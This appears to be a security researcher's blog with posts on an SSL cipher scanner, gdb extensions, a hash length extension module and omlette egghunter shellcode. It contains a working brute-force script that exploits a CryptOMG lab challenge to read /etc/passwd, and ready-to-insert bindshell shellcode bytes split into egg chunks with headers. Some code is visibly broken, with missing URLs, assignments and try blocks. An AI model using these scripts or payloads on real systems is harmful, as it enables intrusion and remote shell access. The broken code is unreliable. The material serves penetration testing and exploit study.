Monday, March 16, 2015

Version 0.5 of SSL Testing Tool

I recently received an email asking me whether, something I initially wrote a few years ago and have recently completely ignored, supported TLS versions 1.1 and 1.2. Well, it didn't, but after having a look at the code it turns out that it was easy enough to add support for these versions of the protocol. Due to this, I've released a new version of the tool, with this, and a few other changes.

Here's the changes:
  • Added support for scanning versions 1.1. and 1.2 of TLS
  • Updated compliance checks for PCI DSS 3.0 (I'm about 90% sure this is accurate and reflective of the most paranoid interpretation of the rules and other guidance). Running the tool with --list -p will list the ciphers and show you which are I believe are approved and which are not - let me know if you think I've been overly strict.
  • Updated compliance checks for ISM 2014, including a new Yellow color for ciphers that meet the mandatory (MUST) ISM standards, but don't meet the SHOULD standards (as it turns out this is quite a few of them). The usual Green is used for ciphers that meet both. Use --list to list all supported ciphers that the tool can check for and show which ones are which.  The code has comments describing the things that are being checked for, if you're interested.
  • Updated cipher list for the newer versions of OpenSSL. The new list is quite a bit bigger than that of the previous version, but specific support depends on your underlying OpenSSL library.
  • Removal of by default peer certificate verification, and an option to turn this on if you wish (the tool is designed to check supported ciphers, not certificates)
  • Updated the help
Now, something to note if you are running this on recent Ubuntu systems is that some of the underlying libraries used to make the SSL/TLS connections, including libssl and Net::SSLeay, both disable SSLv2 support. Most likely due to its horrible insecurity. This means that SSLv2 cipher checks using these libraries will silently fail in, resulting in false negatives.

Chris Mahns, from whom I ripped off borrowed the initial codebase and idea for has posted some solutions to this on his blog. The following are for Ubuntu 13.04, but can be largely run with small modifications on Ubuntu 14.04, which is the platform I was using for testing.

Here's how you fix OpenSSL. On 14.04 you don't need to worry about the TLSv1.2 client bit, and the version of OpenSSL will be different, but otherwise the process is identical:

Here's what you do with Net::SSLeay. I modified the below slightly by making the source change in the Ubuntu package for Net::SSLeay (libnet-ssleay-perl) instead of the source from the libraries authors, then I rebuilt the .deb file and installed it. In essence, I used a combination of this process plus the Debian package rebuilding steps in the previous link. I did not need to reinstall IO::Socket::SSL, which was installed using the libio-socket-ssl-perl Ubuntu package.

Now, if you're running a amd64 version of Ubuntu, you may find that when you build these packages, it creates a dependency for libc6-amd64 instead of just libc6. This will create dependency problems when you try and install the package, because there is no amd64 version of libc6-amd64 (its a multiarch thing). I was too lazy to figure out the underlying cause for this, so to fix it I just modified the recreated .deb files to change this dependency back to libc6 using the following method.

Grab the new from here.

Saturday, August 23, 2014

hlextend Pure Python hash length extension module


Ive been spending some time recently looking at various types of cryptographic vulnerabilities, trying to work out more efficient ways of identifying and exploiting them during penetration tests.

Hash length extension attacks are one of the vulnerability classes I have been looking at, and while I'm aware of and have played round with other tools such as Hashpump and hash_extender, I really wanted something that I could easily make use of in various Python scripts, as well as perhaps Python based Burp extensions.  To that end, I wrote my own pure Python module, hlextend.

In this initial version, hlextend only supports the vulnerable SHA1 and SHA2 hashes, sha1, sha256 and sha512.  I plan to add MD5 support in the next version. The module is based on the SlowSha implementation by Stefano Palazzo, so it is slower than various compiled implementations, however it is fast enough for the uses I had in mind.

The module is available on GitHub.


Basic usage involves copying the module file into your Python path (or the present working directory when running a script that uses it), importing it, and using the 'new', 'extend' and 'hexdigest' functions to create an instance of your algorithm, use the extension functionality and printout the new hash.

For a more detailed example, assume an application you are attacking uses a known hash generated from an unknown secret value concatenated with a known user provided value to check the integrity of the user provided value - perhaps to ensure it has not been modified from an allowed set of values. You want to be able to produce a new valid hash after appending additional data to the known value, allowing you to change the data while still passing the integrity check function.

If the hash algorithm used is vulnerable, it is possible to achieve this without knowing the secret value as long as you know (or can guess, perhaps by brute force) the length of that secret value. This is called a hash length extension attack.

Assume the application creates a sha1 hash value of '52e98441017043eee154a6d1af98c5e0efab055c', by concatenating an unknown secret of length 10 and known data of 'hello'. You wish to append the text 'file' after 'hello' and also provide a valid hash back to the application that it will produce when it concatenates your provided value (which will include the string 'hello' followed by 'file') with its secret. You would do the following to perform the attack:
    stephen@stoat:~$ python
    Python 2.7.3 (default, Feb 27 2014, 19:58:35)
    [GCC 4.6.3] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import hlextend
    >>> sha ='sha1')
    >>> print sha.extend('file', 'hello', 10, '52e98441017043eee154a6d1af98c5e0efab055c')
    >>> print sha.hexdigest()

 The unknown secret (of length 10), that when hashed appended with 'hello' produces a SHA1 hash of '52e98441017043eee154a6d1af98c5e0efab055c', will then produce a SHA1 hash of 'c60fa7de0860d4048a3bfb36b70299a95e6587c9' when appended with the output from the extend function above.

You may notice that the new value produced above contains a lot of additional data between the 'hello' and the 'file' - this is hex encoded padding data used by the hash algorithm that needs to be integrated into the hashed data in order for the attack to work - so strictly speaking you can't specify the EXACT value to append, only what comes after the padding, but under the right circumstances you can make the application ignore this extra padding.

If you don't know the exact length of the secret value, brute forcing the value by trying multiple different lengths can sometimes be possible, depending on the application.

Example Attack

If you want a practical demonstration of the brute force approach, below is an example Python script that can exploit the CryptOMG hash length extension vulnerability in Challenge 5. For this challenge, the application is using a hash, sent with each file request, to confirm that the file being requested by the user is one that the user is allowed to access.  An example URL looks like the following:

The hash value is generated by concatenating a secret value known to the application, with the filename that the user requests in the 'file' parameter (the filename is 'hello' in the above URL).  Including the secret value within the hash generation process prevents an attacker from easily changing the 'file' value, and then just generating a new valid hash to send to the application themselves.  The application, however, is vulnerable to a hash length extension attack, allowing the attacker to brute force a valid hash for a changed value of the file parameter, by trying multiple possible lengths for the initial secret (a fact unknown to the attacker). This can be done WITHOUT ever having to know the actual secret itself.

The goal of Challenge 5 in CryptOMG is to read the /etc/passwd file, via bypassing the hash integrity check on the file parameter. This is what the script below will automate using the hlextend module to generate the extended hash values.

To use this script, install your own instance of CryptOMG and edit the 'site' parameter on line 11 to point to your instance of CryptOMG. The values for hashAlg, startHash and fileName are all taken from the URL parameters of the application after changing the algorithm to 'sha1' and selecting the 'hello' file from the menu on the left, and shouldn't need to be changed.

#!/usr/bin/env python
# Brute forcing script to solve CryptOMG Challenge 5 using hlextend Hash Length Extension Python module
from urllib import quote
import requests
import socket
import sys
import time
from HTMLParser import HTMLParser
import hlextend

site ='' 
hashAlg = 'sha1'
startHash = '93e8aee4ec259392da7c273b05e29f4595c5b9c6'
fileName = 'hello'

appendData = '../../../../../../../../../../../../../../etc/passwd'
params = { 'algo' : hashAlg }

#cookies = { 'PHPSESSID' : '710jkfcq2t29us8u56ag5oii55' }
#proxies = { 'http' : '',  'https' : '' } 

    proxies = {}

    cookies = {}

reqsettings = { 'proxies' : proxies, 'stream' : False, 'timeout' : 5, 'verify' : False, 'cookies' : cookies }

class HParser(HTMLParser):
    '''HTML parser to extract from div:content and h1 tags'''

    def __init__(self):
        global inHtag
        global inDtag
        self.outData = ''
        self.divData = ''
        inHtag = False
        inDtag = False

    def handle_starttag(self, tag, attrs):
        global inHtag
        global inDtag

        if tag == 'h1':
            inHtag = True
        elif tag == 'div':
            if (self.get_starttag_text().find('content') > -1):
                inDtag = True
    def handle_endtag(self, tag):
        global inHtag
        global inDtag

        if tag == "h1":
            inHtag = False
        elif tag == "div":
            inDtag = False

    def handle_data(self, data):
        global inHtag
        global inDtag

        if inHtag:
            self.outData = self.outData + data
        elif inDtag:
            self.divData = self.divData + data

    def close(self):
        return [ self.outData, self.divData ]

sessions = requests.Session()

for length in xrange(3, 60):
    sha =
    append = sha.extend(appendData, fileName, length, startHash, raw=True)
    newHash = sha.hexdigest()

    params['file'] = append
    params['hash'] = newHash
    reqsettings['params'] = params

    while 1:
            response = sessions.get(site, **reqsettings)
        except (socket.error, requests.exceptions.RequestException):

    parser = HParser()
    [ out, divdata ] = parser.close()
    noResult = False
    if out.find('File not found') > -1:
        noResult = True

    if not noResult:
        print 'Length of secret: ' +  str(length)
        print 'Parameter value for file: ' +  quote(append)
        print 'Parameter value for hash: ' + newHash
        print 'File contents: '
        print divdata[6:]

Here is the output when I run the script on CryptOMG installed on a Metasploitable box:
    stephen@wolverine:~/code/hlextend-extra$ ./
    Length of secret: 34
    Parameter value for file: hello%80%018../../../../../../../../../../../../../../etc/passwd
    Parameter value for hash: 1dcac9735aab91cd8c2433f5c55bed91ab167114
    File contents:
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
    mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
    user:x:1001:1001:just a user,111,,:/home/user:/bin/bash

Get it!

You can download the module on GitHub here.

Sunday, May 4, 2014

Python gdb Disassembly Extension 1.20

Ive released version 1.20 of my Python gdb Debugging Extensions, which I have now renamed to pygdbdis.

The introductory page for the extensions is here if you want to refresh your memory on what it does.

For a basic overview: The extensions are intended for those of us who use gdb to debug applications without the source - e.g. for reverse engineering, exploit development, etc.  They contain a number of helper functions that allow you to easily view the program state in a familiar and easy to use fashion, with string reading, hexdump memory reading, stack viewing, register printout with pointer dereferencing, etc.

The extensions are tested to work on Mac OSX and Linux with a version of gdb that supports Python (get the macports version of gdb for OSX). The supported targets are x86 and amd_x86_64 processes. Use the 'printextensionhelp' command to show valid commands.  Use 'source /path/to/' in gdb to load the extensions, and you can now autoload them by placing this same line in your gdbinit file (e.g. ~/.gdbinit).

To use the 'fifodisplay' command display to get contextual information about the debugees execution state whenever gdb stops, have a multi paned terminal app with at least three other open terminals, then run the 'fifodisplay' command and follow the prompts to create listeners for the various fifos in the other terminals.

Heres a screenshot of what the fifodisplay output looks like using iTerm2 on OSX.  In the top left pane is the disassembly display fifo, the top right is the register display fifo and the bottom right is the stack display fifo.

The changes in this version:
  • Numerous bug fixes
  • Name change
  • Improvements to the output and functioning of search commands. I still haven't been able to get rid of the memory read warnings, they seem to be a gdb 'feature' you cant disable, although I have moved all of the useful output of the commands to after the warnings appear
  • Exposed a number of user configurable settings that can be changed and viewed with the 'changeextensionsetting' and 'printextensionsettings' commands
  • Cleaned up fifodisplay output to hopefully prevent inappropriate line wrapping in the fifo displays. The fifo output can also be managed to some extent using height and width parameters exposed as user configurable settings
  • Added a by default option to not remove fifodisplay fifos on restart/exit. This functionality was introduced in version 1.10, and can be re-enabled using 'changeextensionsetting'
  • Added a 'setbreakpointatentry' command to set a breakpoint at the entry point of the program. By default this action is also performed automatically when a new objfile is loaded into the debugger, but this can be disabled if you desire
  • Made the 'printextensionhelp' command autodocument the configure gdb commands in the program using the class docstrings.  This means if you add a new command of your own it will be automatically listed in 'printextensionhelp' output with a description defined by the class docstring
  • Removed the ns command, as it was buggy and largely unnecessary
  • Improved the initialisation process for the script, now allowing the extension to be loaded from .gdbinit and allowing reconfiguration of the architecture specific settings if a new objfile is loaded
Download here:

Sunday, March 23, 2014

GDB Extensions 1.10

Here's a new version (1.10) of my gdb extensions. See the original post here to read about what they are and what they do.

  • Many bug fixes (oh so many bugfixes)
  • The fifo files for the fifodisplay command have been moved off to the /tmp/ directory instead of the present working directory. There's a variable near the top of the script you can change to move this elsewhere if desired
  • The fifodisplay command now has a more functional "stop" feature that cleans up the fifo files and properly removes the gdb stop handler
  • The 'stop' feature of fifodisplay will also run automatically on an exited gdb event, cleaning up after itself when (for example) you finish your gdb session
  • The fifodisplay command has been modified to be a bit easier to use. It now prompts you to create the appropriate fifo listeners when the command is first run
  • A new 'printextensionhelp' command has been added to print out a list of all the commands added with the extension, as well as the purpose of each command

Thanks to deathjest3r who provided some of the suggestions for improvement that have made it into this new version.

Download link.

Thursday, October 31, 2013

Omlette Egghunter Shellcode


When I first heard about omlette egghunter shellcode I was pretty keen to give it a try, but did not have the opportunity until after I heard that under some unknown circumstances it "doesn't work" (see the note here).  At that point I thought Id have a try at writing some omlette egghunter shellcode myself.  Then about three years passed until I finally got around to doing it.

Omlette Shellcode

What is it? Omlette shellcode is essentially a variation on egghunter shellcode.  As previously discussed on this blog, egghunter shellcode is a small piece of shellcode, suitable for inserting into space restricted program buffers. Its job is to find, and pass control to, larger sections of shellcode (or "eggs") located in program memory. Traditional egghunter implementations will usually expect that the "egg" will be inserted into memory in one piece.  Omlette shellcode allows you to insert your egg into memory in multiple pieces, and handles the tasks of finding those pieces, sticking them together, and finally passing control to the reconstructed egg.  You would use it in exploits where you don't have enough space to include your entire final payload into memory using a single buffer. 

Its a bit of a niche thing, and I don't imagine it will be required in too many exploits, but I was interested in having a go at writing an implementation myself. 

My Implementation

My implementation uses the syscall method for safely searching Windows memory as documented by Matt Miller, and is based on a modification of his egghunter code from here.

I essentially took his memory searching code, modified parts of it to replace stack operations with direct register operations, and added some extra bits at the start and the end to enable the egg to be reconstructed on the stack and then run.

Heres the assembly:


    MOV EBP, ESP        ; Get stack pointer into EBP to provide starting offset for location to write shellcode
    OR BX, 0x0fff       ; Add PAGE_SIZE-1 to EBX
    INC EBX             ; Increment memory pointer EBX+1
    XOR EAX, EAX        ; Zero EAX
    MOV AL, 0x02        ; Set EAX for syscall NtAccessCheckAndAuditAlarm
    MOV EDX, EBX        ; Set EDX to memory location for syscall. The syscall clobbers EDX so we cant use it for persistent address storage
    INT 0x2e            ; Perform the syscall
    CMP AL, 0x05        ; Checking for 0xc0000005 (ACCESS_VIOLATION)
    JE loop_inc_page    ; Invalid memory, go to next memory page
    MOV EAX, 0x78563412 ; Put egg marker in EAX
    MOV EDI, EBX        ; Set EDI to the valid memory location from EBX
    SCASD               ; Compare the dword in [EDI] to marker in EAX, increment EDI+4
    JNZ loop_inc_one    ; No match? Back to searching loop
    SCASD               ; Compare the dword in [EDI] to EAX again, increment EDI+4
    JNZ loop_inc_one    ; No match? Back to searching loop
    MOV ESI, EDI        ; Move memory location of start of egg data to ESI
    MOV EDI, EBP        ; Move memory location to write egg to EDI
    LODSW               ; Move word of memory from [ESI] into EAX, increment ESI+2. AH has chunk size, AL has flag value.
    XOR ECX, ECX        ; Zero ECX
    MOV CL, AH          ; Copy AH (egg chunk size) to CL to use as counter for REP MOVSB operation
    CMP AL, 0x01        ; Compare flag value in AL to 1 to see if we have written final egg chunk
    REP MOVSB           ; Copy ECX number of bytes from [ESI] to [EDI]. Increments EDI and ESI by ECX
    MOV EBP, EDI        ; EBP stores address of end of written shellcode
    JNE loop_inc_one    ; Jump back to searching loop if we have not written final egg chunk
    JMP ESP             ; Jump to start of completed egg

Once assembled the code comes out as 53 bytes in size.


Some caveats on the use of this shellcode:
  • Like Matt Millers original egghunter, it assumes that the direction flag is unset.  This will be the case most of the time, but if not you can add a "CLD - \xfc" instruction to the start to clear it.
  • The final "egg" is assembled on the stack starting at the ESP register.  Make sure you don't have anything you need at that location in memory, because it will be overwritten.  Be careful of where the egghunter code itself is located (so you don't overwrite it mid operation) and pivot first if you need to.
  • The egg chunks need to be located in memory IN ORDER.  The egghunter searches memory in ascending order, and it will append the chunks together in the order it finds them until it reaches the final chunk, whereupon it passes control to the reconstructed shellcode.  This might limit the exploits you can use it in - memory ordering may not always be something you can control.
  • I have only tested this on Windows XP SP3.  Presumably it will work on other 32 bit Windows versions too, let me know if not and I'll see if I can fix it.  It is very unlikely to work for 32 bit apps on 64 bit Windows systems.


The use of this egghunter is similar to that of Matt Millers original, (click here if you need a reminder of how this works), except instead of inserting the payload using one buffer, you break it up into multiple chunks first.  Each chunk can be of any size up to 255 bytes, and there is no need to maintain consistency in chunk sizes (the chunks can all be different sizes if you want).  Before getting the chunks into memory you have to add a 10 byte header to each chunk which consists of a twice repeating 4 byte "marker" value that helps the egghunter find the egg, followed by a one byte "final chunk" flag value and a one byte size value. The "final chunk" flag value is set to a "\x01" for the final egg chunk (chunk n), and to any other value for chunks 1 through n-1.

Lets consider an example.  Assume you have to write an exploit where the initial buffer you can access after gaining control of processor execution is just big enough for this omlette shellcode.  However, you can also control the contents of four other memory buffers with about 110 bytes of usable space in each.

First compile the assembly code with nasm and dump the compiled output in hex format to paste into your exploit. You can edit the marker value in the code first if you want to change it. The default value in the assembly above is 0x78563412 which will mean you need to send \x12\x34\x56\x78 as the marker in your exploit (remember: bytes in little endian order).  Save the assembly as omlette.asm and do the following:

wolverine:~ stephen$ nasm -f bin omlette.asm -o omlette
wolverine:~ stephen$ cat omlette | perl -e 'print chr(0x22); while (read STDIN, $d, 1) {print "\\x" . sprintf( "%02x", ord($d)); $c++; if ($c == 14) {print chr(0x22) . " .\n" . chr(0x22);$c=0}}; print chr(0x22) . ";\n"'
"\x89\xe5\x66\x81\xcb\xff\x0f\x43\x31\xc0\xb0\x02\x89\xda" .
"\xcd\x2e\x3c\x05\x74\xee\xb8\x12\x34\x56\x78\x89\xdf\xaf" .
"\x75\xe9\xaf\x75\xe6\x89\xfe\x89\xef\x66\xad\x31\xc9\x88" .

Lets say the final shellcode you want to use is a Metasploit generated Windows 368 byte shikata_ga_nai encoded TCP bindshell payload like the following:
"\xdb\xdd\xd9\x74\x24\xf4\xbb\xfd\x10\xd0\xec\x5f\x33\xc9" .
"\xb1\x56\x31\x5f\x18\x03\x5f\x18\x83\xef\x01\xf2\x25\x10" .
"\x11\x7a\xc5\xe9\xe1\x1d\x4f\x0c\xd0\x0f\x2b\x44\x40\x80" .
"\x3f\x08\x68\x6b\x6d\xb9\xfb\x19\xba\xce\x4c\x97\x9c\xe1" .
"\x4d\x19\x21\xad\x8d\x3b\xdd\xac\xc1\x9b\xdc\x7e\x14\xdd" .
"\x19\x62\xd6\x8f\xf2\xe8\x44\x20\x76\xac\x54\x41\x58\xba" .
"\xe4\x39\xdd\x7d\x90\xf3\xdc\xad\x08\x8f\x97\x55\x23\xd7" .
"\x07\x67\xe0\x0b\x7b\x2e\x8d\xf8\x0f\xb1\x47\x31\xef\x83" .
"\xa7\x9e\xce\x2b\x2a\xde\x17\x8b\xd4\x95\x63\xef\x69\xae" .
"\xb7\x8d\xb5\x3b\x2a\x35\x3e\x9b\x8e\xc7\x93\x7a\x44\xcb" .
"\x58\x08\x02\xc8\x5f\xdd\x38\xf4\xd4\xe0\xee\x7c\xae\xc6" .
"\x2a\x24\x75\x66\x6a\x80\xd8\x97\x6c\x6c\x85\x3d\xe6\x9f" .
"\xd2\x44\xa5\xf7\x17\x7b\x56\x08\x3f\x0c\x25\x3a\xe0\xa6" .
"\xa1\x76\x69\x61\x35\x78\x40\xd5\xa9\x87\x6a\x26\xe3\x43" .
"\x3e\x76\x9b\x62\x3e\x1d\x5b\x8a\xeb\xb2\x0b\x24\x43\x73" .
"\xfc\x84\x33\x1b\x16\x0b\x6c\x3b\x19\xc1\x1b\x7b\xd7\x31" .
"\x48\xec\x1a\xc6\x6a\x3e\x93\x20\x18\xae\xf2\xfb\xb4\x0c" .
"\x21\x34\x23\x6e\x03\x68\xfc\xf8\x1b\x66\x3a\x06\x9c\xac" .
"\x69\xab\x34\x27\xf9\xa7\x80\x56\xfe\xed\xa0\x11\xc7\x66" .
"\x3a\x4c\x8a\x17\x3b\x45\x7c\xbb\xae\x02\x7c\xb2\xd2\x9c" .
"\x2b\x93\x25\xd5\xb9\x09\x1f\x4f\xdf\xd3\xf9\xa8\x5b\x08" .
"\x3a\x36\x62\xdd\x06\x1c\x74\x1b\x86\x18\x20\xf3\xd1\xf6" .
"\x9e\xb5\x8b\xb8\x48\x6c\x67\x13\x1c\xe9\x4b\xa4\x5a\xf6" .
"\x81\x52\x82\x47\x7c\x23\xbd\x68\xe8\xa3\xc6\x94\x88\x4c" .
"\x1d\x1d\xb8\x06\x3f\x34\x51\xcf\xaa\x04\x3c\xf0\x01\x4a" .
"\x39\x73\xa3\x33\xbe\x6b\xc6\x36\xfa\x2b\x3b\x4b\x93\xd9" .

To use this, you would first add some NOP padding (shikata_ga_nai tends to error out if you don't pad between the start of the code and the stack pointer), and then break it up into four chunks of 96 bytes each, like shown below.  Note that the egghunter shellcode doesn't require that the chunks be the same size, that's just the easiest way to do it in this case.

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" .
"\x90\x90\xdb\xdd\xd9\x74\x24\xf4\xbb\xfd\x10\xd0\xec\x5f" .
"\x33\xc9\xb1\x56\x31\x5f\x18\x03\x5f\x18\x83\xef\x01\xf2" .
"\x25\x10\x11\x7a\xc5\xe9\xe1\x1d\x4f\x0c\xd0\x0f\x2b\x44" .
"\x40\x80\x3f\x08\x68\x6b\x6d\xb9\xfb\x19\xba\xce\x4c\x97" .
"\x9c\xe1\x4d\x19\x21\xad\x8d\x3b\xdd\xac\xc1\x9b\xdc\x7e" .

"\x54\x41\x58\xba\xe4\x39\xdd\x7d\x90\xf3\xdc\xad\x08\x8f" .
"\x97\x55\x23\xd7\x07\x67\xe0\x0b\x7b\x2e\x8d\xf8\x0f\xb1" .
"\x47\x31\xef\x83\xa7\x9e\xce\x2b\x2a\xde\x17\x8b\xd4\x95" .
"\x63\xef\x69\xae\xb7\x8d\xb5\x3b\x2a\x35\x3e\x9b\x8e\xc7" .
"\x93\x7a\x44\xcb\x58\x08\x02\xc8\x5f\xdd\x38\xf4\xd4\xe0" .
"\xee\x7c\xae\xc6\x2a\x24\x75\x66\x6a\x80\xd8\x97\x6c\x6c" .

"\x3f\x0c\x25\x3a\xe0\xa6\xa1\x76\x69\x61\x35\x78\x40\xd5" .
"\xa9\x87\x6a\x26\xe3\x43\x3e\x76\x9b\x62\x3e\x1d\x5b\x8a" .
"\xeb\xb2\x0b\x24\x43\x73\xfc\x84\x33\x1b\x16\x0b\x6c\x3b" .
"\x19\xc1\x1b\x7b\xd7\x31\x48\xec\x1a\xc6\x6a\x3e\x93\x20" .
"\x18\xae\xf2\xfb\xb4\x0c\x21\x34\x23\x6e\x03\x68\xfc\xf8" .
"\x1b\x66\x3a\x06\x9c\xac\x69\xab\x34\x27\xf9\xa7\x80\x56" .

"\x7c\xbb\xae\x02\x7c\xb2\xd2\x9c\x2b\x93\x25\xd5\xb9\x09" .
"\x1f\x4f\xdf\xd3\xf9\xa8\x5b\x08\x3a\x36\x62\xdd\x06\x1c" .
"\x74\x1b\x86\x18\x20\xf3\xd1\xf6\x9e\xb5\x8b\xb8\x48\x6c" .
"\x67\x13\x1c\xe9\x4b\xa4\x5a\xf6\x81\x52\x82\x47\x7c\x23" .
"\xbd\x68\xe8\xa3\xc6\x94\x88\x4c\x1d\x1d\xb8\x06\x3f\x34" .
"\x51\xcf\xaa\x04\x3c\xf0\x01\x4a\x39\x73\xa3\x33\xbe\x6b" .

Then prepend a header to each chunk comprised of the marker ("\x12\x34\x56\x78") repeated twice, a single byte flag value ("\x01" for the final chunk, and anything else, I have used "\x02", for the other chunks) and a single byte size value ("\x60" as the hex representation of 96).

"\x12\x34\x56\x78\x12\x34\x56\x78\x02\x60\x90\x90\x90\x90" .
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xdb\xdd" .
"\xd9\x74\x24\xf4\xbb\xfd\x10\xd0\xec\x5f\x33\xc9\xb1\x56" .
"\x31\x5f\x18\x03\x5f\x18\x83\xef\x01\xf2\x25\x10\x11\x7a" .
"\xc5\xe9\xe1\x1d\x4f\x0c\xd0\x0f\x2b\x44\x40\x80\x3f\x08" .
"\x68\x6b\x6d\xb9\xfb\x19\xba\xce\x4c\x97\x9c\xe1\x4d\x19" .
"\x21\xad\x8d\x3b\xdd\xac\xc1\x9b\xdc\x7e\x14\xdd\x19\x62" .

"\x12\x34\x56\x78\x12\x34\x56\x78\x02\x60\x54\x41\x58\xba" .
"\xe4\x39\xdd\x7d\x90\xf3\xdc\xad\x08\x8f\x97\x55\x23\xd7" .
"\x07\x67\xe0\x0b\x7b\x2e\x8d\xf8\x0f\xb1\x47\x31\xef\x83" .
"\xa7\x9e\xce\x2b\x2a\xde\x17\x8b\xd4\x95\x63\xef\x69\xae" .
"\xb7\x8d\xb5\x3b\x2a\x35\x3e\x9b\x8e\xc7\x93\x7a\x44\xcb" .
"\x58\x08\x02\xc8\x5f\xdd\x38\xf4\xd4\xe0\xee\x7c\xae\xc6" .
"\x2a\x24\x75\x66\x6a\x80\xd8\x97\x6c\x6c\x85\x3d\xe6\x9f" .

"\x12\x34\x56\x78\x12\x34\x56\x78\x02\x60\x3f\x0c\x25\x3a" .
"\xe0\xa6\xa1\x76\x69\x61\x35\x78\x40\xd5\xa9\x87\x6a\x26" .
"\xe3\x43\x3e\x76\x9b\x62\x3e\x1d\x5b\x8a\xeb\xb2\x0b\x24" .
"\x43\x73\xfc\x84\x33\x1b\x16\x0b\x6c\x3b\x19\xc1\x1b\x7b" .
"\xd7\x31\x48\xec\x1a\xc6\x6a\x3e\x93\x20\x18\xae\xf2\xfb" .
"\xb4\x0c\x21\x34\x23\x6e\x03\x68\xfc\xf8\x1b\x66\x3a\x06" .
"\x9c\xac\x69\xab\x34\x27\xf9\xa7\x80\x56\xfe\xed\xa0\x11" .

"\x12\x34\x56\x78\x12\x34\x56\x78\x01\x60\x7c\xbb\xae\x02" .
"\x7c\xb2\xd2\x9c\x2b\x93\x25\xd5\xb9\x09\x1f\x4f\xdf\xd3" .
"\xf9\xa8\x5b\x08\x3a\x36\x62\xdd\x06\x1c\x74\x1b\x86\x18" .
"\x20\xf3\xd1\xf6\x9e\xb5\x8b\xb8\x48\x6c\x67\x13\x1c\xe9" .
"\x4b\xa4\x5a\xf6\x81\x52\x82\x47\x7c\x23\xbd\x68\xe8\xa3" .
"\xc6\x94\x88\x4c\x1d\x1d\xb8\x06\x3f\x34\x51\xcf\xaa\x04" .
"\x3c\xf0\x01\x4a\x39\x73\xa3\x33\xbe\x6b\xc6\x36\xfa\x2b" .

Now you would insert these various sets of bad data into your exploit in the appropriate places, and when the egghunter shellcode is executed, it should be able to find the chunks of the final payload in memory, piece them together on the stack, and then pass control to it when all parts are found.

Id be interested to know if you find this useful.  Perhaps someone has even written an example program which could be exploited with the use of this shellcode if you would like to test it... (*cough* GTER *cough*).